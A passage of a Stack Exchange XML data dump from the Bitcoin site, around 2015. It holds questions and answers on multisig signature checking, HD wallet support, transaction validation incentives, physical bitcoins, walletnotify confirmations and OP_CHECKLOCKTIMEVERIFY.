(pubKey3)&#xA;    (pubKey2)&#xA;    (pubKey1)&#xA;    2&#xA;    (sig2)&#xA;    (sig1)&#xA;    0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what it looks like after initializing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;n-&amp;gt;    3&#xA;ikey-&amp;gt; (pubKey3)&#xA;       (pubKey2)&#xA;       (pubKey1)&#xA;m-&amp;gt;    2&#xA;isig-&amp;gt; (sig2)&#xA;       (sig1)&#xA;       0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It tries to verify pubKey3 against sig2, but that fails. Advance ikey, but not isig:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;n-&amp;gt;    3&#xA;       (pubKey3)&#xA;ikey-&amp;gt; (pubKey2)&#xA;       (pubKey1)&#xA;m-&amp;gt;    2&#xA;isig-&amp;gt; (sig2)&#xA;       (sig1)&#xA;       0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Verifying pubKey2 against sig2 suceeds, so you advance both ikey and isig:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;n-&amp;gt;    3&#xA;       (pubKey3)&#xA;       (pubKey2)&#xA;ikey-&amp;gt; (pubKey1)&#xA;m-&amp;gt;    2&#xA;       (sig2)&#xA;isig-&amp;gt; (sig1)&#xA;       0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and so on.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2016-08-31T20:52:34.823" LastActivityDate="2016-08-31T20:52:34.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40675" PostTypeId="1" CreationDate="2015-09-27T03:25:25.573" Score="3" ViewCount="199" Body="&lt;p&gt;If you don't validate a transaction, then you are at risk for relying on it, propagating it, or including it in a block you're mining.  For this reason, the default behavior is to validate every transaction (I think!).  Otherwise there is some reliance on free transaction validation, which turns out not to be free because of the risks.  There is currently no simple way to pay for transaction validation in order to mitigate those risks.  I think there should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some guys at Microsoft did &lt;a href=&quot;http://research.microsoft.com/en-us/projects/socialalgs/bitcoin-red-balloons.aspx&quot; rel=&quot;nofollow&quot;&gt;some research&lt;/a&gt; into the idea of incentivizing transaction propagation (which would necessarily require validation for those getting paid).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering if it is worth it to develop an idea I had and present it to the bitcoin dev list.  It's called &quot;bonded proof&quot; and consists of a proof message which is a valid block (except that it's hash isn't low enough) and the TXOut that is the bond.  It isn't actual proof, but tentative proof that can be verified and, if found to be wrong, redeemed.  The bonded proof is signed by the bitcoin address that holds the bond. I imagine the TxOut would have to hold at least 100X a standard Tx Fee, but since it's not expected to ever be redeemed, it could hold far more just as a show of good faith.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the proof is wrong, the maker of such a bonded proof can expect the bonded proof to be redeemed in a block.  The &quot;transaction&quot; that redeems such a failed bonded proof would need to include the entire proof message, plus an index into the block to identify the invalid transaction, plus a btc (&quot;disproof&quot;) address to receive some part of the bond (say 50%).  Block validation would then have to verify that the identified transaction was actually invalid, and this would cause (say 50% of) the TxOut holding the bond to be transferred in the coinbase transaction, while the rest would go to the disproof address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miners would be free to ignore any such bonded proof, or to use them if and when they appear to be valuable, but I propose the following mechanism as a default:  The maker of a bonded proof (&quot;weak&quot;) block would request a fee by making it the coinbase transaction in the weak block.  Miners would add a transaction sending that fee to the address in the weak coinbase transaction if they want to encourage the block assembler.  By default, any time a node has a brand new transaction to broadcast, it would make a weak block with the new transaction in it as long as the operator has specified a TxOut for the bond.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Selfish miners could turn this off if they wish to cheat those who assemble these blocks, just as they are already doing (probably because it's difficult not to) to those who propagate transactions.  I suspect behavior would be better than that.  Thousands of people have run full nodes without compensation, and this just makes it easier to reward them, and offload to them the time-consuming validation step, which they are doing anyway (by default).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, non-mining nodes would have an incentive to validate these weak blocks in order to find an invalid transaction (root out cheaters who don't bother validating) and redeem the proof block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea of bonded proof appeals to me not just in the case of weak block validation, but as a general mechanism.  It isn't called that with regards to the Lightning Network, but the idea is very similar: motivate helpful behavior while requiring that the helper stake some bitcoin on the claim that he is helping.&lt;/p&gt;&#xA;" OwnerUserId="1434" LastEditorUserId="1434" LastEditDate="2015-09-27T03:34:49.237" LastActivityDate="2015-11-27T10:01:41.793" Title="Can transaction validation really be free?" Tags="|nodes|mining-reward|validation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40676" PostTypeId="1" AcceptedAnswerId="50757" CreationDate="2015-09-27T07:26:38.173" Score="7" ViewCount="2892" Body="&lt;p&gt;Does Bitcoin Core (bitcoind or bitcoin-cli) support HD wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can Bitcoin Core ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q1. create HD wallets?&lt;br&gt;&#xA;Q2. import HD wallets from other wallet software?&lt;br&gt;&#xA;Q3. watch HD wallet? (watch transaction or notify changes)&lt;/p&gt;&#xA;" OwnerUserId="29597" LastActivityDate="2018-04-02T08:19:41.890" Title="Does Bitcoin Core support HD wallet?" Tags="|wallet|bitcoin-core|bip32-hd-wallets|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40677" PostTypeId="1" AcceptedAnswerId="40692" CreationDate="2015-09-27T07:48:37.637" Score="4" ViewCount="2107" Body="&lt;p&gt;Is there any way to watch all addresses under HD wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to notify users when any of addresses in a HD wallet receive BTC.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It looks like bitcoind (walletnotify) doesn't support HD wallet. You have to add many addresses into a wallet to watch them.&lt;/li&gt;&#xA;&lt;li&gt;blockchain.info xpub API? (I'm not sure how the API can handle it.)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It seems there is no web service for watch-only HD wallet. &lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/2px6o8/is_there_any_webservice_to_watchonly_hd_wallet/&quot; rel=&quot;noreferrer&quot;&gt;Is there any web-service to watch(only) HD Wallet BIP32? : Bitcoin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29597" LastActivityDate="2018-08-27T15:14:19.887" Title="How can I watch all addresses under HD wallet?" Tags="|bitcoind|bip32-hd-wallets|watch-only|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40678" PostTypeId="2" ParentId="40676" CreationDate="2015-09-27T08:23:42.190" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;create HD wallets?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, but this is something being worked on.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;import HD wallets from other wallet software?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, HD wallets being transportable between software like this is unlikely due to the wide range of implementations. An Electrum seed is unlike an Armory seed is unlike a Bread wallet seed. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;watch HD wallet? (watch transaction or notify changes)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Only if you &lt;code&gt;importaddress&lt;/code&gt; for a large number of future addresses which is cumbersome.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-09-27T08:23:42.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40679" PostTypeId="2" ParentId="17768" CreationDate="2015-09-27T12:42:33.877" Score="0" Body="&lt;p&gt;2009 physical bitcoin? Unless someone actually minted a physical bitcoin back then and loaded them with bitcoin as the casacaus mintages from 2011 -2013 did and they have a private key which is protected somehow until it is redeemed and acts like a digital wallet when the private and public keys generate valid transfer  data and update the bitcoin network with the new data to maintain a constant and redundant database which the exchange relies on to validate and verify every bitcoin and the key generation process and prevents the possibility of a counterfeit bitcoin key being able to successfully create valid data if a transfer is attempted, and also secures the exchange of a bitcoin by only allowing the senders public key to be accessible since the private and public key are used in the calculation to generate a unique string which is only accessible to the recipient because his public key is used to encrypt the transfer and only his private key can generate a valid transfer string, which contains the data relevant to the bitcoin I'd, the amount, and the public key of the sender. The use of the private keys in the calculations is to generate the valid data, but cannot be extracted from any of the data. The physical bitcoin  is the same, except the private key is the physical coins wallet key, and most wallets are digital and used as personal wallets instead of a container that can be held and traded physically. You should be able to look up the bitcoin value with the public key if the coin has one, otherwise, it's probably just a promotional token or a fake. Is like to see a photo, email me at erikwanberg@hotmail.com if you can. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="29603" LastActivityDate="2015-09-27T12:42:33.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40680" PostTypeId="2" ParentId="17768" CreationDate="2015-09-27T12:55:15.100" Score="0" Body="&lt;p&gt;Here's what I dug up:&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;10&quot;&gt;&#xA;&lt;li&gt;DIY coins&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There is another way of getting your hands on a physical bitcoin – make one yourself. We are not suggesting that you set up a foundry and mint in your garage; a simple 3D printer will do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of print-ready 3D designs out there and they are just a Google search away, usually on 3D print marketplaces like Shapeways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trouble with this approach is that most designs are relatively expensive, even before you include the cost of actually printing them. While it is relatively cheap to do a few plastic prints on semi-professional fused-filament printers, making a proper metal coin on an expensive laser-sintering printer tends to cost a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image via Shapeways&#xA;In any case, 3D printing is an alternative way of producing unique physical coins by tweaking existing designs or developing your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One example of an affordable design that relies on nylon plastic with a matte finish is the Bitcoin Address Keeper by Ayame Deude. The 3D model costs €8.50 and, if you have access to a printer, the actual cost of printing a single coin should be low.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3D printing fulfilment services are another option, but in many cases the cost of shipping a single coin would be higher than the cost of printing it.&lt;/p&gt;&#xA;" OwnerUserId="29603" LastActivityDate="2015-09-27T12:55:15.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40681" PostTypeId="2" ParentId="13034" CreationDate="2015-09-27T15:51:24.257" Score="-1" Body="&lt;p&gt;maybe it is a little bit too late, but brainwallet worked the best and I have just quickly uploaded the version I had to some file hoster:&#xA;&lt;a href=&quot;http://s000.tinyupload.com/?file_id=05407254289290446372&quot; rel=&quot;nofollow&quot;&gt;http://s000.tinyupload.com/?file_id=05407254289290446372&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I dont remember exactly, but I think this is the original zip-file I downloaded in April of 2013)&lt;/p&gt;&#xA;" OwnerUserId="29432" LastActivityDate="2015-09-27T15:51:24.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40682" PostTypeId="1" CreationDate="2015-09-28T02:26:45.473" Score="1" ViewCount="74" Body="&lt;ol&gt;&#xA;&lt;li&gt;When I got the code I use a url such as abc.com and I hope to know if I use my api in def.com will it work? If so what is the url meaning?&lt;/li&gt;&#xA;&lt;li&gt;Every time it will generate wallet and if I use this API to receive bitcoin how will the coin go to my wallet?&lt;/li&gt;&#xA;&lt;li&gt;When the API got bitcoin it will give me a response so my question is which should I use? There are 3 method for it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="29280" LastEditorUserId="18196" LastEditDate="2015-09-28T14:30:21.323" LastActivityDate="2015-09-28T14:30:21.323" Title="About blockchain.info Api Usage" Tags="|api|blockchain.info|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40683" PostTypeId="2" ParentId="40675" CreationDate="2015-09-28T08:24:18.810" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;There is currently no simple way to pay for transaction validation in order to mitigate those risks. I think there should be.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This statement is incorrect. Transactions include a fee which the miner that finds the block will get. Therefore it's in the miner's interest to include transactions and thus validate them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once transactions are in blocks, it's in everyone else's interest to validate for themselves and they don't run any risk doing that. (They'd run a risk NOT doing that.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is currently no real problem of transactions getting stuck because &quot;it's too risky to validate&quot;. There are a few miners that mine empty blocks, possibly for this reason, but more likely because of lazyness and misunderstanding. And that will become even less of a problem every time the block-rewards halve.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-09-28T08:24:18.810" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40684" PostTypeId="1" CreationDate="2015-09-28T11:10:49.390" Score="6" ViewCount="1053" Body="&lt;p&gt;I am bit confused about transaction broadcast on the internet.How does a miner know a transaction has been broadcasted? The internet network is very huge.Or how does my bitcoin client collects the blocks broadcasted?&lt;/p&gt;&#xA;" OwnerUserId="29623" LastActivityDate="2015-09-30T11:51:27.210" Title="Bitcoin transaction broadcast" Tags="|transactions|bitcoind|client|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40685" PostTypeId="2" ParentId="40684" CreationDate="2015-09-28T13:15:34.950" Score="5" Body="&lt;p&gt;Bitcoins P2P network is a flooding design, new transactions and blocks are broadcast to every connected peer, and they broadcast to every one of their peers. Valid data reaches all participants very quickly due to the random selection of peers that all nodes make. All validating participants keep a 'mempool', a collection of unconfirmed transactions they believe are valid, miners collect transactions they wish to include in blocks from their mempool and turn them into a candidate template to mine against. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-09-28T13:15:34.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40687" PostTypeId="1" CreationDate="2015-09-28T19:05:15.740" Score="2" ViewCount="1194" Body="&lt;p&gt;How do I send bitcoin from physical bitcoin private key to my wallet address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to find an option to receive payment from a 30 byte mini private key and the only thing close is to get from a qt code which opens camera. &lt;/p&gt;&#xA;" OwnerUserId="29603" LastActivityDate="2015-09-28T20:25:30.700" Title="Redeeming physical bitcoin and transfer from mini private key to my wallet" Tags="|private-key|" AnswerCount="1" CommentCount="0" ClosedDate="2015-09-28T20:28:13.363" ContentLicense="CC BY-SA 3.0" />
  <row Id="40688" PostTypeId="2" ParentId="34319" CreationDate="2015-09-28T20:20:37.203" Score="1" Body="&lt;p&gt;I think I might have cracked the issue with the U3 going zombie. I'm sure most miners have their computers set to never sleep, so perhaps the user guide is not specific enough. Under Windows 10, I've gone into device manager, listed devices by connections, found the USB to UART bridge, and then under the power management tab set windows to never set the device to sleep for every hub down to the root hub. So far running a treat.&lt;/p&gt;&#xA;" OwnerUserId="29543" LastActivityDate="2015-09-28T20:20:37.203" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="40689" PostTypeId="1" AcceptedAnswerId="49368" CreationDate="2015-09-28T20:21:26.263" Score="6" ViewCount="856" Body="&lt;p&gt;Pretty straight forward. Right now im using -walletnotify to run some node.js code when i get an incoming transaction and when theres 1 confirmation. However, after reading around, i found out that 1 confirmation is not secure, which now makes me want to execute this confirmation code when theres at least 6 confirmations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;, Is there a parameter or an equivalent for -walletnotify to run on N confirmations? &lt;/p&gt;&#xA;" OwnerUserId="29402" LastEditorUserId="2306" LastEditDate="2015-09-28T22:40:03.320" LastActivityDate="2017-03-17T09:16:54.957" Title="-walletnotify on 6 confirmations instead of 1?" Tags="|transactions|wallet|bitcoind|confirmations|wallet-notify|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40690" PostTypeId="2" ParentId="40687" CreationDate="2015-09-28T20:25:30.700" Score="1" Body="&lt;p&gt;Import it into a Blockchain.info wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or use the python script from: &lt;a href=&quot;http://en.bitcoin.it/wiki/Mini_private_key_format#Decoding&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Mini_private_key_format#Decoding&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2015-09-28T20:25:30.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40691" PostTypeId="2" ParentId="18540" CreationDate="2015-09-28T20:45:46.217" Score="19" Body="&lt;p&gt;Setting up and operating an exchange can be quite involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few tiers to start thinking about:  legal, banking, tech+security, and volume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Legal&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The first question is whether you want to operate globally (e.g. Bitfinex or BitStamp) or focus on a national market (e.g. FlowBTC, meXBT).  The next step is to seek legal counsel to help decide where you want to locate and how to incorporate/structure your business.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You want to think about how you can limit your liability and exposure to litigation, as well as what regulatory/compliance requirements are in your jurisdiction, and what they are likely to be in ther near term.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Merkle Tree offers a useful high-level global map of the regulatory landscape.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Banking&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What sorts of banking relationships do I need and how can I secure them?&lt;/li&gt;&#xA;&lt;li&gt;Note that banks &lt;em&gt;can&lt;/em&gt; be heistant to provide services to digital currency exchanges.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tech + Security&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You or a partner need to build and maintain complex architecture that pairs orders, executes transactions, and manages deposits and withdrawals.  Major componets are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Matching engine&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Risk management system&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Accounting/audit system&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wallet management&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Payment gateways&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Security is understandably paramount.  Some things to consider:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sound internal security procedures among your team  - see, e.g.  CryptoCurrency Security Standard (CCSS) (incredibly important, and often overlooked)&lt;/li&gt;&#xA;&lt;li&gt;Network and hardware security (secure data center, etc.)&lt;/li&gt;&#xA;&lt;li&gt;KYC (Know Your Customer) + AML (Anti-Money Laundering) solutions&lt;/li&gt;&#xA;&lt;li&gt;Two-Factor Authentication for users&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Volume&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without lots of live volume, all the above is for naught.  It is well worth your time to actively consider all of the below:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Channeling liquidity from large exchanges like Bitfinex to your exchange&lt;/li&gt;&#xA;&lt;li&gt;Messaging, media presence, brand creation and maintenance, ads and retargeting&lt;/li&gt;&#xA;&lt;li&gt;User definition (is this a retail exchange, for advanced users?, etc.), and using this to inform UI design and to prioritize features for product differentiation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this is helpful for getting started!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclosure - I work at a firm called AlphaPoint (&lt;a href=&quot;http://alphapoint.com&quot;&gt;http://alphapoint.com&lt;/a&gt;) - we provide white label tech to many of the largest Bitcoin exchanges in the marketplace, including full stack tech and hosting, as well as order routing for day-one liquidity.&lt;/p&gt;&#xA;" OwnerUserId="29629" LastActivityDate="2015-09-28T20:45:46.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40692" PostTypeId="2" ParentId="40677" CreationDate="2015-09-28T22:59:21.740" Score="7" Body="&lt;p&gt;Full disclosure: I'm &lt;a href=&quot;http://www.blockcypher.com/&quot;&gt;BlockCypher's&lt;/a&gt; Developer Advocate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a series of HD Wallet Endpoints that we recently released that might suit your needs; you can read more about it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dev.blockcypher.com/#hierarchical-deterministic-hd-wallets&quot;&gt;http://dev.blockcypher.com/#hierarchical-deterministic-hd-wallets&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use it in tandem with our &lt;a href=&quot;http://dev.blockcypher.com/#events-and-hooks&quot;&gt;WebHooks API&lt;/a&gt; for notifications whenever an address associated with an HD wallet is involved in a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use something locally instead of our API, I'm a fan of btcd and their associated &lt;a href=&quot;https://github.com/btcsuite/btcwallet&quot;&gt;btcwallet&lt;/a&gt;, which supports HD addresses.&lt;/p&gt;&#xA;" OwnerUserId="26887" LastActivityDate="2015-09-28T22:59:21.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40693" PostTypeId="1" CreationDate="2015-09-28T23:56:12.850" Score="1" ViewCount="451" Body="&lt;p&gt;I am interested in knowing what kind of events and news have a direct impact on the bitcoin prices besides the raw supply and demand.&lt;/p&gt;&#xA;" OwnerUserId="28219" LastActivityDate="2017-05-03T20:02:16.137" Title="What drives the price of bitcoin, in other words, what makes it go up or down?" Tags="|exchanges|price-volatility|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40696" PostTypeId="2" ParentId="20053" CreationDate="2015-09-29T08:23:12.440" Score="0" Body="&lt;p&gt;CLICK: Help&#xA;CLICK: Debug Window&#xA;CLICK: Console&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Input the following command-line: walletpassphrase  9999999 true&#xA; with the Password you created to Encrypt your Qt Wallet&gt;.  Hit Enter after you type this phrase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you close the Console-Your the lock in the bottom bar will unlock (though you may have to look carefully to see the change.  If you hover your cursor over the lock you should see the phrase: &quot;Qt Wallet is now ENCRYPTED AND UN-LOCKED- for block minting only.&quot;    The warning about your client being unable to mint should disappear also.&lt;/p&gt;&#xA;" OwnerUserId="29632" LastActivityDate="2015-09-29T08:23:12.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40697" PostTypeId="2" ParentId="40693" CreationDate="2015-09-29T08:44:26.657" Score="1" Body="&lt;p&gt;&quot;The price&quot; is established through supply and demand, by definition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speculators might temporarily skew supply or demand after reading some news or predicting/anticipating some event. Or simply by rumours and herd mentality (more often than not).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What those speculators react to you'd have to ask them and doesn't sound like an on topic question here. It's not related to Bitcoin anyway, as it's the same for any other market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One likely upcoming drop in supply is coming around 2016-07-26 when the block reward is going to halve again.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-09-29T08:44:26.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40700" PostTypeId="1" AcceptedAnswerId="40701" CreationDate="2015-09-29T15:35:14.623" Score="2" ViewCount="406" Body="&lt;p&gt;I understand that a miner has a list of bitcoin transactions since the last time a a block was discovered. The first entry is the reward for who discovered the previous block. As more transactions gets added, they're appended to this list. This part is speculation, but I think there's also a nonce that the miners inject in order to produce a hash output that meets the difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I find out the specifics about what exactly is hashed? I'm looking to understand the exact bytes and structure. &lt;/p&gt;&#xA;" OwnerUserId="15314" LastEditorUserId="18196" LastEditDate="2016-03-06T19:30:12.737" LastActivityDate="2016-03-06T19:30:12.737" Title="Where can I find the structure and layout of what exactly gets hashed by miners?" Tags="|blockchain|mining-technical-details|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40701" PostTypeId="2" ParentId="40700" CreationDate="2015-09-29T16:47:47.140" Score="2" Body="&lt;p&gt;The data that's hashed is the &lt;em&gt;block header&lt;/em&gt;. You can find a description of the format and layout at &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Block_hashing_algorithm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-09-29T16:47:47.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40704" PostTypeId="2" ParentId="37251" CreationDate="2015-09-29T19:28:18.513" Score="4" Body="&lt;p&gt;There is no measure of the number of full nodes. The number published by many websites is the number of &lt;em&gt;listening&lt;/em&gt; nodes, instances of software which is advertising itself as available for connections on the Bitcoin network. The term &quot;full&quot; refers to &quot;fully validating&quot;, as distinct from non-validating or BIP37 SPV. To be listening you do not need to be validating, or even a Bitcoin node at all (a proxy connection is indistinguishable from a real node). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to know about the number of listening nodes, &lt;a href=&quot;https://getaddr.bitnodes.io/dashboard/?days=365&quot; rel=&quot;nofollow&quot;&gt;bitnodes.io does track numbers for these&lt;/a&gt; though they appear to be easily manipulated at times (see the spike around September 2015). &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-09-29T19:28:18.513" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40706" PostTypeId="1" AcceptedAnswerId="40784" CreationDate="2015-09-30T00:12:14.370" Score="12" ViewCount="3102" Body="&lt;p&gt;In the code for &lt;code&gt;OP_CHECKLOCKTIMEVERIFY&lt;/code&gt; i noticed that if the txin sequence number is maxxed out then the script will fail to validate. I'm wondering what the point of this is? Why would anybody ever submit a transaction that will fail to verify to the network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the relevant section of &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/script/interpreter.cpp#L1149-L1160&quot; rel=&quot;noreferrer&quot;&gt;code&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Finally the nLockTime feature can be disabled and thus&#xA;// CHECKLOCKTIMEVERIFY bypassed if every txin has been&#xA;// finalized by setting nSequence to maxint. The&#xA;// transaction would be allowed into the blockchain, making&#xA;// the opcode ineffective.&#xA;//&#xA;// Testing if this vin is not final is sufficient to&#xA;// prevent this condition. Alternatively we could test all&#xA;// inputs, but testing just this input minimizes the data&#xA;// required to prove correct CHECKLOCKTIMEVERIFY execution.&#xA;if (txTo-&amp;gt;vin[nIn].IsFinal())&#xA;    return false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm also confused about the comments in the code for this. They say that every sequence number has to be maxxed out to get the script to fail to validate, but it looks to me like this is not true - it looks like only one sequence number needs to be maxxed out and then the whole transaction (all txins) will fail. And I assume this would mean that the transaction will therefore not be included in the blockchain? But that runs counter to the code comments. It would make sense if there were a &lt;code&gt;!&lt;/code&gt; on the if condition.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="47827" LastEditDate="2022-12-09T08:58:04.443" LastActivityDate="2024-01-04T21:06:01.777" Title="Why is OP_CHECKLOCKTIMEVERIFY disabled by maximum sequence number?" Tags="|script|locktime|opcodes|checklocktimeverify|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40708" PostTypeId="1" CreationDate="2015-09-30T04:06:48.107" Score="1" ViewCount="968" Body="&lt;p&gt;i downloaded Bither as my virtual wallet and added bitcoins in a Hot Wallet Address. But when i try to send bitcoins, i can't. &#xA;i fill the address, the amount of bitcoins and i type my password but the button &quot;send&quot; is colored on light grey and i can't click on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i would like to know how to send bitcoins with Bither, and if i can't, can i switch my wallet to another software ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks by advance :)&lt;/p&gt;&#xA;" OwnerUserId="29649" LastActivityDate="2015-09-30T04:06:48.107" Title="(Bither) how can i send my bitcoins?" Tags="|transactions|wallet|exchanges|block|script|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
